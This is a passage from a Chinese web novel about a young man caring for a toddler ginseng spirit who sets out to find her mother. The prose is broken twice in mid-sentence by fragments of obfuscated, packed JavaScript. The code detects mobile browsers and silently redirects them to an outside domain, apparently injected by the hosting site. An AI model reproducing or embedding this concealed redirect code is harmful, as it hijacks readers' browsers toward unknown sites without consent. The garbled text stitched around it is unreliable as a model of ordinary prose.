这年头无良商家多,即使是旗舰店也有可能真假掺半,保险起见还是走线下渠道放心些。 裴以砚拿到地址心里就有了计划。 吃完饭邱明抱着书包死皮赖脸的留了下来,从里面翻出一本厚厚的笔记,脸上写着四个大字:求知若渴。 裴以砚从厨房出来,擦了擦手:“留下来可以,嘴闭上。” “没问题!” “没有困难的工作,只有勇敢的狗狗——” “啊啊啊莱德超帅哒!” 坐在电脑前奋力肝代码的裴以砚揉揉太阳穴,眼角余光是悠闲追剧的崽,真想给她找个班儿上。 九点之后欢笑声渐渐弱下,沙发里多个粉色小鼓包,动画片暂停,细细的呼噜均匀绵长。 小人参精蜷缩在沙发里,脸蛋压成一张饼,鸦羽般的睫毛浓密卷翘,不知道做了什么梦,嘴角带笑。 邱明伸懒腰活动脖子,见状悄声提醒:“砚哥,熹熹睡着了。” “知道。” “不把小熹熹抱到卧室睡吗?” “不用。”裴以砚眼也没抬,骨节分明手指跳跃于键盘上,“暖气开的足。” 放她一个人在卧室睡醒就哭哭啼啼找人,娇气的很。 邱明支着下巴,一会儿看看裴以砚,一会儿看看熹熹。 有感而发道:“砚哥,你要不是人,我都怀疑熹熹是你自己生的,这也太像了,一比一还原啊。” 比亲生的还亲生,他越来越好奇熹熹的妈妈长什么样儿。 裴以砚没搭理他,他嘴也不停:“砚哥,你就不好奇熹熹妈妈是谁吗?” “断肠草。” “……噗,哈哈哈砚哥你还信这个啊,一听就是小丫头胡诌的。” 裴以砚瞥去一眼,周身透着股淡淡的死感: “我的意思是,你再废话,我不介意上山拔两株断肠草喂你嘴里。” 邱明一悚,讪讪闭上嘴。 俩人一直忙到深夜,邱明困成狗倒在地毯上呼呼大睡,裴以砚关了电脑珊珊起身,扛着熹熹回了卧室。 快递第二天一早就送到了楼下,裴以砚没让刘姨取,中午放学顺路取了回来。 拆快递的过程熹熹就在边上眼巴巴等着,不大一会儿,泡沫小箱映入眼帘,里面安静卧着三个饭碗。 她两条软白的小短腿站在小板凳上,乌黑童眸来回扫,小手一挥兴高采烈的喊:“分家产啦。” “绿色是熹熹哒。” “黄色是妈妈哒。” “爸爸,这个红色的小螃蟹给你~” 裴以砚怀里陡然多了份重量,表情意外:“这个碗是你给我挑的?不是你自己要用?” 小姑娘眨着水汪汪的眼睛,理想当然的样子:“熹熹就一张小嘴巴,用三个碗多浪费呀。” 原来那时候她不是娇气霸道的什么都要,裴以砚心中微动,垂眸没接话。 熹熹扯了扯他衣袖,脆生生:“爸爸,熹熹送你的小螃蟹是不是超可爱哒?” 裴以砚目光轻移,倏然抬手揉乱她头发,小揪揪被揉的东倒西歪,他浅浅勾了下嘴角:“借花献佛算是被你玩儿明白了。” “哎呀。” 熹熹嗖一下跳下小凳子跑远了,搂着恐龙饭碗气呼呼道:“爸爸,你弄乱阿姨给我扎的小揪揪了,它们会打结的!” 裴以砚悻悻收回手,大言不惭:“我重新给你扎不就好了。” 熹熹:→_→ 来自闺女不信任外加鄙视的小眼神让裴以砚心虚的揉揉鼻子。 “爸爸,骗骗自己就好了,熹熹是三百岁的宝宝,不是三岁。”她正正经经的说着话,裴以砚险些破功。 他默不作声咬住唇,强压住笑意,板着脸:“你个十以内加减法都算不明白的九漏鱼,还想学别人成精,再等几年吧。” “……九漏鱼是啥?” “你就是九漏鱼。” “才不是,熹熹是人参精宝宝,熹熹都说过好几次啦……爸爸,你真是个大糊涂蛋。” 父女俩你一句她十句的拌嘴,最终以冷酷爸爸的一根棒棒糖作为谢幕,九漏鱼小人参精大获全胜。 年轻的爸爸站在熹熹身后不远的地方,深色眼眸安静凝望她忙碌的小背影。 前二十年里他从未想过自己会成为一名父亲,也不知道自己会当一名怎样的父亲,但无论是什么样的,他都不会让他的孩子重复他的人生。 他的孩子不必过分懂事,无需太讲道理。 他打开微信点进本地兼职群,最近一份兼职工作是奶茶店员。 【你好,我想应聘。】 10. 10 每到下午放学点,不大点的小团子准时出现在校门口,背着小手,挺着圆溜溜的小肚子接爸爸。 来来往往的人多了,总能碰见一两个熟人,裴以砚身旁多了个小女孩的事很快传遍了全班。 裴以砚在百草县出生长大,大多数当地人都知道他,当年那桩案子对这个平静朴实的小县城而言太过惨烈。 十五年前裴以砚的父亲裴晋因遭受失业的打击一蹶不振,后来沉迷赌博,不久又染上毒瘾。 一次毒瘾发作产生幻觉,认为儿子是妻子周薏和其他男人生下的野种,于是发狂将年仅五岁的裴以砚锁在房间进行虐待发泄,最后更是拿起砍刀亲手砍断了裴以砚的右腿。 他的恶毒和丧心病狂超乎了所有人的预料,若不是警察赶来及时,下一刀就是他的喉咙。 百草县民风淳朴,五十年里没出过一桩命案,裴家惨案虽无人员死亡,却也着实骇人,当地媒体一报道顿时轰动全县。 裴以砚成为百草县最受关注的孩子,印象中那一年里家里的门槛都被快陌生人踏破了。 他的病床前总是围满了各行各业的爱心人士,人生中第一副假肢就是众筹得来的。 直至后来他长大,重新入学读书,周围的人潮才逐渐褪去,生活回归正规。 或许是因为那段灰色经历,裴以砚从小便郁郁寡欢,长大了更是阴沉冷漠,难以亲近,从不回应别人的善意,习惯将人拒之门外。 久而久之,没人再敢试图亲近他,而他也成为别人口中的怪胎。 【他妈不就他一个吗,哪来的妹妹啊,难道是他妈跟后爸生的?】 【搞笑吧,他妈这么多年都没回来过,有女儿就更不可能回来了,人家二婚老公可是个超级富二代,留在京市享福不香吗?】 【虽然有点离谱,但我好像听过那小女孩儿叫他爸爸。】 【???你挂过耳鼻科了吗,要不再去看看脑科,狗头jpg】 台球厅里,中途休息的邱明切换到微信群,半晌后对着屏幕狠狠啐一口: “背后蛐蛐人算什么,有什么当面蛐蛐啊,一群怂货。”然后哒哒哒一通输出。 “看什么呢,一脸不忿的,女朋友被撬了啊?”吊儿郎当的男声从后方插进,刘漾看清屏幕内容,一下乐了。 “就阿砚那生人不近的样子别说小姑娘,我看了都怵得慌,还女儿呢,你这些同学真敢编啊。” “闲得蛋疼呗。”邱明收了手机,重新架好球杆瞄准:“谁叫砚哥光芒四射,艳压群芳。” 刘漾调侃:“进步挺大啊,会用四个字成语了都。” 邱明一杆进球,直起腰板满身春风得意:“那是,少瞧不起人。” “牙收一收。”刘漾羡慕又嫉妒,“最近股市震动,你小子是不是跟着阿砚赚了不少,给你嘚瑟的。” 别看这十几岁的小子傻乎乎,人家早就跟着大佬吃肉喝汤了。 想到自己的小金库,邱明笑容堆的快放不下了,打着哈哈混过刘漾的询问 “说起来今天阿砚怎么没来啊,我和老杨可都盼着他来。”上周说好要聚一下,谁知道临时被放鸽子。 邱明脱口:“他忙着陪闺女逛商场呢。” 刘漾和老杨一怔:??? ……嗯,闺女? 半小时后,裴以砚俊脸黑成锅底,冷冷盯着两个围着闺女吱哇乱叫的老男人。 “我靠,绝逼是阿砚的闺女没错,DNA钱都能省了的程度。” “不愧是年轻人,闷声干大事,闺女那么大了才介绍给我们认识,真够意思。” 裴以砚嘴唇抿成直线,冷飕飕瞪向某个罪魁祸首。 邱明有点小尴尬的抓抓脸,怪他一时得意忘形,嘴比脑子快。 他补救道:“行了行了,你们别围着熹熹了,当心吓到孩子。” 熹熹能嗅到刘漾和杨森身上属于裴以砚的气息,虽然比邱明的淡一些,但她知道他们也是爸爸的好朋友,都是心地不坏的人类。 所以她一点不怕,仰着小脸蛋,娇生生的叫人:“叔叔们好,我是熹熹,是爸爸的心肝宝贝呦。” 小姑娘穿着不合时宜的碎花裙,一身牛奶肌肤嫩的掐水,水灵灵的眼睛仿佛会说话,看得两个大猛男心底一软。 老天奶,谁有这么个女儿不当心肝宝贝疼啊! 难以想象那么软萌的小甜豆,她爸爸居然是个阴湿少年,铁定是中了基因彩票! 两个混不吝的丁克富二代在这一刻狠狠共情了热衷生孩子的人。 “你好啊熹熹。”刘漾老烟嗓夹得周围人满地找鸡皮疙瘩,“我是你大刘叔,以后有事儿搞不定找大刘叔。” 来的匆忙俩人都没带礼物,刘漾干脆摘下他手腕上的克罗地亚表,极力笑的像好人: “熹熹,叔叔表送你玩儿,玩腻了可以卖了买棒棒糖吃,别客气。” 邱明瞳孔地震,铁公鸡开花啊,六位数的表就这么水灵灵送了?! 老杨低头看了看光秃秃的手腕,思索半秒,眼睛微亮:“走,叔叔带你买金镯子。” 这位更是简单粗暴。 邱明瞪着死鱼眼:……不是,你们这样真的显得他很废物啊。 刚化形两周的小人参精哪管什么名牌不名牌,表情为难的看着那乌漆嘛黑的手表,小声婉拒: “不用了叔叔,你戴就好。” 刘漾完全没读懂小丫头的想法,毕竟在他的眼里这块克罗地亚表高端大气上档次,怎么可能会有人嫌弃它。 以为小丫头在客气,然后又沦陷了,挤眉弄眼的非得要小孩儿收下。 看着面前一副她不收,他就要哭出来的大人,小人参精宝宝无奈收下,咬着手指头苦恼。 她以后不仅要哄爸爸,还要哄爸爸的朋友,真是群不省心的大人呀。 从金店出来,熹熹手上多了个礼盒,里面装着一只金灿灿的大金镯子。 裴以砚瞟了眼时间,淡淡道:“我带她还有正事要办,你们自便。” 不是,这就要打发他们走了啊,刘漾和杨森互看了眼:“来都来了,一块儿吃个饭呗。” “我知道你们想问什么,有机会再说,今天不行。” 裴以砚如此明确的表态了,俩人也就不好再勉强,摆摆手准备离开。 “等一下。” 熹熹出声拦住他们。 小人参精不认得名牌,但认识金子。 她知道金子是硬通货,很值钱的,于是对送她大金镯子的杨森分外关注。 “老杨叔叔,你这里有东西,熹熹帮你拍拍。” 小姑娘指向杨森脑袋,杨森蹲下身,笑眯眯凑上去:“谢谢熹熹帮叔叔拍灰尘。” “不是灰尘,是圆圆的珠珠。”熹熹在他脑侧拍了两下,两缕人眼看不见的绿光钻了进去。 杨森微微疑惑了下,隐隐觉得哪里有些奇怪。 “好啦,熹熹把珠珠拍掉了,老杨叔叔以后要好好照顾身体,不然脑袋里又要长小珠珠啦。” “哦哦……好。” 熹熹一碗水端平,又转向刘漾,上下扫了眼,竖起大拇指:“大刘叔叔像小牛犊一样壮,很棒哦。” 刘漾是那种泡吧但保温杯里装枸杞的养生小达人。 听到小丫头的夸奖,他正引以为豪,又听熹熹说:“唔,就是眼神不太好。” “哈?” 熹熹勾勾手。 等刘漾配合的蹲下后,熹熹又让他闭眼,一旁的裴以砚眼神逐渐危险,透着警惕。 刘漾笑嘻嘻,不要脸的想他也太招孩子喜欢了,分别还额外送他一个别人没有的亲亲。 只见熹熹小手搭在他手臂上,踮起脚尖,嘟着小嘴往前凑。 裴以砚眼皮重重一跳,面色顿时扭曲,不行! “好啦。” 说话的同时小崽子被爸爸提了起来。 挂在手臂上的小崽子蹬了两下腿,扭头茫然:“爸爸,你有事吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14428133|153812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……没事。”裴以砚语气硬邦邦,“你刚刚在干嘛?” “给大刘叔叔呼呼眼睛呀。” 刘漾:“啊,不是要亲我啊?” 熹熹睁大了眼,二话不说抱紧了爸爸手臂,疯狂摇头否认:“不是不是,熹熹才不要亲你大脸蛋呢,叔叔不可以胡思乱想吓小朋友!” 小朋友头摇得跟大风车似的,都担心给裴以砚扇感冒了。 噗嗤,刘漾胸口好似被插了一刀。 邱明和老杨疯了似的弯腰狂笑不止。 刘漾仰天流着面条宽泪,怎么说他也是玉树临风,英俊潇洒,咋就比不上老杨那三大五粗的糙汉了! 他悲愤磨磨牙,怒瞪老杨。 裴以砚和熹熹离开没多久,邱明三人各自打道回府,各找各妈。 到家屁股还没坐热,杨森便接到了医院的电话:“杨总,您的体检报告已经出来了,有些情况需要和您当面聊一下。” 杨森头皮一紧:“是不是有什么问题?” “根据CT显示,您大脑右侧长了一颗肿瘤,您这阵子头疼恶心等不适的症状均由此而来。” 杨森惊了下。 医生安抚道:“所幸发现及时,我们已经为您做好了治疗方案,所以您不需要担心,不过需要您入院几天,方便我们观察肿瘤情况。” 杨森面色凝重的答应下来,然而办理完住院手续再次检查肿瘤情况时,令人惊愕的一幕出现了。 ——脑子里的肿瘤没了,不翼而飞。 这家医院是萍水市医疗水平最尖端的私人医院,服务的病患非富即贵,开院以来从未有过误诊经历。 CT结果一出整个科室的医生都愣住了。 前后不过几天的时间,化疗都没好的那么快啊。 众人深深迷惑了,气氛略显尴尬。 几乎同一时间,近视八百度,不戴眼镜就人畜不分的刘漾也发生了类似的情况。 一觉睡醒世界犹如浓雾散去,双眼重见光明,佣人牙缝里的菜叶都清晰可见! 卧槽,他该不会是觉醒了什么异能吧,刘漾诚惶诚恐,一脚油门踩到底跑到医院。 检测结果显示的他裸眼视力居然恢复到了4.8,一直为他服务的私人医生想破脑袋也没想明白怎么回事。 坏了,难道是奇迹降临? 刘漾沉痛开口:“林医生,看来我蜘蛛侠的身份瞒不住了,你做好和我一同拯救世界的准备了吗?” 林医生推了推眼镜:“好的刘总,那我们先聊聊薪资待遇问题。” “……” 反应挺快哈。 * 新手爸爸裴以砚在母婴用品店导购员的忽悠下买了一千多块的补品,奶粉、钙片、鱼油、维生素片等满满一兜。 裴以砚木着脸从店里出来,眼神涣散,步伐轻飘。 自从养了这小崽子,他经常性智商掉线,明明知道对方是在拉业绩,他还是噗通跳进了坑里,到底是他脑生反骨,还是他智商真的下降了? 裴以砚幽暗的眸子闪烁着,脑子里划过密密麻麻的弹幕。 浑然不知老父亲烦恼的熹熹嚼着钙片,发出嘎嘣嘎嘣的脆响。 小团子开心的摇头晃脑,把普通儿童钙片吃成山珍海味,叫人忍俊不禁。 裴以砚不由自主摸摸她脸。 熹熹昂起头,鼓着腮的模样像只小松鼠。 “慢点嚼,小心牙崩了。”裴以砚闲闲的说,“豁门牙漏风。” 熹熹啊了声。 原地无措了会儿突然想起了什么,拍拍小胸脯,喜笑颜开道:“没关系啊,熹熹有大金镯。” 裴以砚诧异她脑筋转的快,一下就想到卖了大金镯补牙。 “熹熹可以用大金镯补牙!” “那样熹熹就有大金牙了,嘿嘿。” 裴以砚脚下险些一个踉跄,眉梢狠跳,不敢置信看去。 到底为什么一个三岁的小崽子会热衷土豪审美! 11. 11 有了孩子是不可能随心所欲的。 比如裴以砚想回家,熹熹却抱着人家店门口的摇摇车不撒手,隐隐有水漫金山的势头。 熹熹大多时候是乖巧懂事的贴心小棉袄,间歇性漏风,这也是裴以砚对她足够耐心和包容的原因。 “你已经坐过十分钟了。” 一分钟两块钱,十分钟二十块,不如坐木马。 “还要嘛还要嘛,最后一次!” 裴以砚面容冷峻:“刚才就说是最后一次。” 熹熹小嘴抖成波浪:“可是……可是,人家还没坐够嘛。” 小姑娘脸颊肉软乎乎,抿唇的时候两边肉全堆了起来,尤为衬的莹润娇憨。 她一手揉着眼睛呜咽:“熹熹还想玩。” 几乎每隔几天就会有大人和小孩儿僵持在摇摇车前,店员们早就司空见惯,可以看做天赐的拉单良机。 没一会儿就有店员问要不要充会员,会员每天可以免费坐一个小时。 裴以砚没听完直接打断:“不用。” 同样的套路,他不可能重复上当。 他趁小朋友放松警惕一把拎起抄走,又赶在小孩儿开嗓前冷静表示: “别哭,我给你买一个。” 被打断施法的熹熹:“哇,好好好!” 此时的小朋友还不知道,她的好爸爸套路多深,两天后她将收到怎样一个大惊喜。 父女逛到了地下美食城,到处香气飘飘,少不了当搓一顿。 川味小馆里,小丫头捧着一块兔肉眼泪哗哗,鼻尖透红,悲痛欲绝。 “至于么。” 看不下去的裴以砚咻咻抽纸,无奈里带了点儿嫌弃地给熹熹擦脸:“别吃了,给我。” 他用筷子去夹,小丫头偏过身子,抽噎着摇头:“盘里还有,你、你那么大的人,怎么还和小朋友抢吃的啊。” “太辣了,你吃不了。” 熹熹吸溜一大口酸奶,口齿不清道:“谁说的,一点都不辣,香着呐。” 裴以砚眼角抽搐,反手打开相机后置怼到她面前,冷声:“你自己看看。” 辣成香肠嘴了,还嘴硬,就不该心软买麻辣兔头给小崽子尝鲜。 镜头里熹熹一张脸蛋变成真正字面上的唇红齿白。 小嘴像打了嘟嘟唇又红又肿,葡萄眼泛着水光,楚楚可怜的小模样,还以为她在为盘里的兔子伤心呢。 熹熹眨眨眼,小手轻点,咔嚓拍下照片。 小人参精人生中第一张自拍诞生,熹熹看着照片咯咯笑。 裴以砚问:“你笑什么?” “为你开心呀。”熹熹小鼻子哼哼,“爸爸,你太幸福啦,有熹熹那么漂亮的心肝宝。” 三百年前树灵爸爸能在整座百草山里选中她这颗小人参开灵智,浇灌她长大,就是因为她盘靓条顺。 裴以砚一阵无语,轻嗤:“王婆卖瓜。” 吃完饭在路上看到有拍大头贴的无人自助机,熹熹两眼亮成灯泡,吵着要拍。 裴以砚不爱拍照,这辈子拍过的照片屈指可数,熹熹可不管这么多,理所当然的把面瘫爸爸当拍照搭子。 一会儿坐在爸爸肩上,一会儿趴在他后背,要不就是在他怀里做各种搞怪动作和表情。 跟猴子一样上蹿下跳,弄的裴以砚手忙脚乱。 结束了带娃的一天,晚上躺在床上的裴以砚一根手指不想动弹。 他不禁想到小时候,周薏边上班,边带着他的日子,打从心底佩服她。 “爸爸,你什么时候带我见妈妈呀?”临睡前,小团子滚到他怀里,昂起澄澈明净的童眸,“熹熹好想妈妈。” 裴以砚:“你为什么那么肯定我见过你妈妈?” “因为爸爸身上有妈妈的香味呀。” “什么香?” “当然是妈妈的花香啦。”熹熹说。 裴以砚语调低沉:“断肠草的花香?” 他已经懒得深究断肠草的花是什么香了,就算没香他都愿意默认有香味。 “嗯嗯!爸爸,你终于聪明了一回。” 裴以砚带着熹熹生活了半个月,期间小朋友从来没有忘记过妈妈,时不时追问她妈妈的下落。 这也在变相提醒他这个孩子不是他一个人的责任。 裴以砚:“假如找到了你的妈妈,你和她过,还是和我过?” 熹熹愣了愣:“爸爸,你想要离家出走啊?小心妈妈揪你耳朵的哦。” 在熹熹的记忆里,他们一家三口一块儿住了三百多年,唯独分开了这二十年。 现在她好不容易化形下山,找到了爸爸,当然要是奔着一家团聚的结局呀。 可惜裴以砚却不这么想。 从小孩儿嘴里问不出她母亲的有效信息,全国寻找一个人无疑于大海捞针。 他可没那么多闲工夫。 也许小孩儿就是被亲生母亲抛弃的,根本不会出现。 床头灯灭了,裴以砚给小朋友拈了拈被子,躺下:“话多,睡觉。” 事情转机出现在某个平常的下午。 裴以砚抱着巨大的快递箱回来,还没拆出来熹熹就知道那是爸爸承诺给她买的摇摇车。 物流走的慢,小丫头翘首以盼等了一个星期才到,已经迫不及待了。 然而等拆开快递见到庐山真面目的那刻,时间仿佛忽然静止。 那根本不是熹熹在店门口看到的摇摇车,而是一个简易木马,既没有炫酷的车身,又没有好听的音乐。 逊爆了! 如此强烈的落差让一旁期待的小朋友一头雾水,呆呆的问:“这是什么啊?” “摇摇车。”裴以砚面不改色,“坐上去试试看。” 淘宝上最便宜的车都要八百块,最近刚买了房,请了阿姨,手头拮据,只能先买个平替糊弄过去。 熹熹脸上当即浮现‘我是小,但你别当我傻’的小表情。 “它不亮,也不会唱歌。” “你等等。” 裴以砚去了趟次卧,出来时手里拿着一捆led灯条,在马头上绕了两圈,摁了下开关。 马头上瞬间亮起了一圈,它还分了频率。 一档是长亮,二档每三秒亮一次,三档一闪一闪亮晶晶。 他问:“你喜欢哪个档?” 熹熹:…… 她都不喜欢,小姑娘扁住嘴:“它不会唱歌。” 裴以砚早有准备的掏出备用手机,放在马头上,点开播放器。 “现在会了。” “……” “想听什么随便点,还能自动播放。” 小孩儿不接话,只是捏着小拳头,不忿的看着一本正经忽悠人的爸爸。 裴以砚装作没看见,拍拍马屁股:“这个很结实,不会摔跤。” “商场里的摇摇车也很结实,而且比它大多啦,可以坐两个小朋友——” 小人参精声音弱了下去,熹熹恍然记起现在的爸爸很穷很穷,住的地方又小又挤,身体还不好,特别辛苦。 爸爸已经在尽力给她最好的了。 软热的一小团抱住了裴以砚的左腿,小奶音瓮声瓮气:“我知道了爸爸,你买的就是摇摇车,不是什么木头雕的马。” 裴以砚不知道她自己又脑补了些什么,只是感叹小孩儿的阴晴不定。 “爸爸,熹熹以后会赚好多钱给你花,让你知道有钱花的快乐!” 啧,又画大饼。 裴以砚分心的摸着她毛茸茸的头顶,感受心口的异样。 自打养了小崽子,他的良心分外活跃,时不时地遭受来自它的谴责。 “行了,你自己玩儿会儿,我去忙了。” 他起身走开,熹熹自己爬上木马摇了起来。 她摸摸自己的小脸,笑道:“熹熹乖,木马也很好玩哒。” 玩不到十分钟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14428134|153812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就腻了,左看右看,偷偷拿起裴以砚的手机一通瞎按。 “妈妈!” 裴以砚电脑刚开,小孩儿激动的声音就窜了出来。 啪嗒啪嗒,粉色小兔子拖鞋由远及近。 “爸爸,我找到妈妈了!” 裴以砚缓缓合上电脑,下巴微抬:“什么?” 熹熹高举着手机,飞扑到他身旁,急吼吼叫他:“爸爸快看,这就是妈妈!” 裴以砚顺着小朋友的话看去。 手机屏幕上一张熟练的人脸撞了进来,女孩儿头上戴着生日皇冠,微卷的黑发落在肩上,面对镜头笑容的明净,梨涡浅浅。 孟栀摇。 裴以砚着实吃惊:“你从哪儿找的照片?” 他接过手机一看,原来是朋友圈。 看文案内容是孟栀摇昨天在过十八岁的生日。 “爸爸,我们快去找妈妈吧,妈妈一定很想我们!” 裴以砚斩钉截铁:“不可能,你认错了。” 他和孟栀摇不熟,但也了解大概情况,孟栀摇有严重的先天性心脏病,这样的身体无法负荷她十月怀胎。 重点是,两个连点头之交都算不上的人,怎么可能有孩子。 他们根本不可能发生过关系。 无论他多有理有据,条理清晰,都抵不过熹熹一口咬定那就是她的妈妈,神情无比认真。 父女诡异的僵持几秒,裴以砚摁了摁眉心,稍作冷静。 再次抬眸,深深看着小姑娘问:“你怎么能确定她就是你妈妈?” 熹熹梗着脖子:“妈妈就长这样啊,熹熹是不会认错的!” 裴以砚没理由怀疑一个思念妈妈的小孩子会认错人,当初熹熹不也从一开始就找准了他吗。 亲子鉴定结果证明了孩子没认错人。 麻烦的来了。 怎么偏偏恰好是他认识的人。 虽然女儿的指认过于荒谬离谱,裴以砚却已经相信了五六分。 熹熹将他变幻莫测的神色看在眼里,低头纠结了会儿,噘噘嘴:“爸爸,你再让阿姨扎我手指吧!” “对,就……就扎这根吧,这根肉肉多。”她竖起大拇指,颇有英勇就义的气势,“没事的,熹熹血多!” 上次她就是被阿姨扎了手指头后,爸爸就认她是心肝宝贝了。 为了和妈妈相认再扎一次也没关系,有妈妈帮她呼呼就不疼啦。 小孩子心思全写在脸上,裴以砚想的却是另一回事:“你妈妈她……她身体不好,你的出现可能会刺激到她。” 当初他能如此坦然接受亲子鉴定结果,强大的心理素质和身体素质占了一大半。 他甚至还没想到做亲子鉴定那关,光是领着熹熹和孟栀摇见面就是一大难题。 熹熹一听裴以砚的话顿时着急起来:“妈妈生病了吗?严不严重呀?爸爸,你快带我去见妈妈,熹熹要帮妈妈治病!” 小家伙眼底流露出的焦急不掺假,裴以砚敛眉沉思,终于松了口。 “我可以带你见她,不过你要答应我一件事。” “见面不许叫她妈妈,更不许有肢体上的接触。” 熹熹不满:“为什么啊?” 裴以砚:“她胆子小,你会吓到她,所以不能叫妈妈。” 裴以砚没有什么把握可以说服熹熹,他做好了拉锯战的准备,谁知小丫头再一次出乎他的意料。 “好!” “妈妈还跟以前一样胆小。”熹熹眉眼弯弯,“放心叭,我保证不会吓到妈妈。” 只要爸爸在的时候,妈妈就会变得很胆小,明明是一株能在山里能横着走的剧毒断肠草,可每次叶子上出现小虫子,妈妈就会尖叫着跑到爸爸怀里,爸爸帮忙清理小虫子。 她可是亲眼见过妈妈诛虫子九族的场景。 父女俩达成好共识,裴以砚打发小朋友自己去玩,随后点开和孟栀摇的对话框,删删减减。 12. 12 刚过完十八岁生日的孟栀摇计划去日本旅行,听说奈良的小鹿是神明的化身,向它们许愿可以得到神明的青睐。 她没有别的愿望,只希望可以多活几年。 近两年她的身体每况愈下,需要请假休息的次数愈加频繁,每回体检完回来,父母都背着她偷偷哭。 孟栀摇没追问过具体情况,她的身体她知道,大概活不到二十岁了。 懂事起她就知道了自己和其他小朋友不一样,也逐渐接受了这个事实,所以对死亡的态度很坦然。 她生命如青春那样短暂,难免有诸多遗憾,比如明年六月高考后,再也见不到她暗恋的少年。 叮。 裴:【孟栀摇,我有事想当面和你说,你明天是否方便?】 收到微信消息的孟栀摇怔愣,退出又进来两遍确认自己没看花眼,旋即肉眼可见的目光莹亮。 镇定,不能有太大情绪波动。 孟栀摇闭上眼深吸两口气,控制着指尖的微颤,拿出做题的严阵以待,一字一顿的回: 【方便的,你有什么事想和我说?\(^o^)/~】 不行,好像高兴的过于明显了,再删减删减吧。 【嗯,方便。】 !太高冷了吧,他会不会以为她不好说话啊,o(╥﹏╥)o 【嗯嗯,明天方便。】 艰难的发出回复消息后,孟栀摇仍旧握紧手机,两眼不眨着对话框。 对方正在输入…… 孟栀摇瞄了眼时间,距离她回消息不超过一分钟。 眼前不由自主浮现出清冷少年倚在位置上,一条修长手臂挂在椅背,长腿肆意交叠,漫不经心摆弄手机的画面。 孟栀摇忽而呼吸微滞,面庞发热。 【你家在哪?我找个离你家近的地方谈。】 孟栀摇将住址发了过去,对方五分钟后回了一家咖啡店的地址过来。 【明天上午十点这里见?】 就在她家楼下对面的咖啡厅,孟栀摇弯了弯眉,的确很近。 【好的。】 等放下手机,分泌多巴胺的大脑冷却下来,孟栀摇陡然反应过来,她刚才没有一点犹豫和怀疑的就答应了下来。 好像显得她很迫不及待,不够矜持。 可转念一想,裴以砚能有什么事需要当面和她说,他们交情似乎没那么深啊…… (⊙o⊙)… 对方是不是被盗号了,约她出去的不会是骗子吧? 受过反诈教育的孟栀摇生出一点不安,思前想后,咬咬唇决定赌一把,明天赴约。 事情的第一步比裴以砚预想中的要顺利,他缓缓放下手机,眉目舒展的往后靠了靠。 熹熹颇有眼力见的跑来:“爸爸,你联系好妈妈了吗?” 小丫头精着呢,自己玩也不忘放一半注意力在爸爸身上。 裴以砚:“嗯,明天早上见。” “耶!太好啦!” 熹熹欢呼着一蹦三尺高,小揪揪边扭边抖,恨不得到处奔走相告:“我明天就可以见到妈妈了,爸爸,你太棒啦!” 这么高兴,裴以砚弹了弹小丫头脑门:“别得意忘形,记住你答应我的。” “哎哟,熹熹办事你放心啦。” 嗤,人小鬼大。 怀着马上就要见到妈妈的期待,熹熹晚上睡觉破天荒没闹腾,盖上被子就沉沉睡去。 天不亮就爬了起来,在被窝里滚来滚去,咯咯偷乐。 裴以砚被她吵的在床上烙大饼,拉上被子盖住头。 一直到天蒙蒙亮,小丫头一骨碌爬下床,莹白圆润脚丫踩在地毯上,颠颠溜厕所。 熹熹站在洗手台上慢条斯理刷牙洗脸,用专属的小梳子一下一下梳头。 最后换上最漂亮的小衣服,摇醒裴以砚的帮她扎小辫。 “爸爸,你别睡懒觉了,快点起来打扮自己呀。” “男为悦己者容,妈妈最喜欢爸爸漂亮的样子了!” 裴以砚烦躁翻身,后脑勺对着她。 熹熹噘噘嘴,哼哧爬上床,小嫩手呲溜滑进被窝:“爸爸——” ! 裴以砚冻的一哆嗦,腰上像贴了片冰块。 他一把抓住女儿作恶的小手,眯着眼没好气:“谋杀亲爹?” 熹熹一副天不怕地不怕的样子,笑嘻嘻吐了吐舌头:“谁叫你赖床,哼。” “别瞎闹。”裴以砚是真困,昨晚又忙到半夜,现在就想多睡会儿。 然而漏风小棉袄根本不理解老父亲的苦。 “爸爸,吃早餐。” “吃毛线。” “熹熹饿了。” 裴以砚从枕头底下摸出手机看了眼,早上八点半,室外温度7℃ 他紧了紧身上的被子,懒洋洋点开外卖界面:“吃什么,自己选。” 熹熹一反常态,说什么都不肯点外卖,一定要拉着裴以砚出去。 裴以砚被闹烦了,他一直不是个脾气好的人,起床气尤其大。 对小丫头一忍再忍不过是看在那是自个儿闺女的份儿上,要换了其他人类幼崽,他早丢门外去了。 “爸爸,你别睡懒觉了,起来给熹熹扎个好看的小辫子叭。” “今天和妈妈见面,熹熹要打扮的漂漂亮亮哒,妈妈肯定会感觉很惊喜。” 小孩儿很重视和孟栀摇的第一次见面。 恰好今天刘姨休息,没人给她扎小辫儿……算了。 裴以砚火气下去了。 他半坐起身,大手捂住熹熹两只冰凉的小爪子,半阖着眼:“手那么冰,你玩儿水了?” “没玩。”小丫头眼神左右飘忽,“等下把小裙子换上就好了。” 花花阿姨给她做的小碎花裙昨天刚洗,她身上穿的是普通衣服,防寒效果忒一般。 “睁眼说瞎话,去换件衣服再出门。” 小孩儿一秒不看住就是给她们制造麻烦的机会。 裴以砚木着脸吐槽完,认命掀开被子起床,简单洗漱过后父女俩就出了门。 小孩儿胃口很小,但吃的花样多,逛一圈早市下来裴以砚手上至少四五个袋子。 